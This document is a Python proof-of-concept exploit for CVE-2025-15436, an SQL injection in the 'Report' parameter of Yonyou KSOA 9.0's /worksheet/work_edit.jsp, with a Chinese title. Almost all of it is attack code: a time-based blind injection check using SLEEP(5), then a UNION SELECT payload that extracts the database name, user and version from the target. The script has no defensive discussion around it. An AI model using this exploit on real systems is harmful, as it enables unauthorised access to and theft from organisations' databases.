CVE-2025-15436 用友KSOA 9.0 work_edit.jsp SQL注入漏洞

import requests import sys # CVE-2025-15436 SQL Injection PoC for Yonyou KSOA 9.0 # Target: /worksheet/work_edit.jsp # Parameter: Report target_url = "http://target.com/worksheet/work_edit.jsp" # Blind SQL Injection - Check if vulnerability exists def check_vulnerability(): # Normal request normal_params = {"Report": "1"} # Payload with time-based blind injection # Using conditional time delay to confirm SQL injection payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) AND '1'='1" inject_params = {"Report": payload} try: print("[*] Sending normal request...") normal_resp = requests.get(target_url, params=normal_params, timeout=10) print("[*] Sending malicious payload...") inject_resp = requests.get(target_url, params=inject_params, timeout=15) if inject_resp.elapsed.total_seconds() > 4: print("[+] SQL Injection vulnerability confirmed!") return True else: print("[-] Vulnerability check failed or target not vulnerable") return False except Exception as e: print(f"[-] Error: {str(e)}") return False # Database enumeration payload def extract_database(): # UNION-based injection to extract database name payload = "1' UNION SELECT NULL,database(),user(),version()-- -" params = {"Report": payload} try: resp = requests.get(target_url, params=params, timeout=10) print(f"[*] Response status: {resp.status_code}") # Parse response to extract database info if resp.text: print(f"[*] Response preview: {resp.text[:500]}") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": print("CVE-2025-15436 SQL Injection PoC") print("Target: Yonyou KSOA 9.0") print("=" * 50) if check_vulnerability(): print("\n[*] Attempting database enumeration...") extract_database()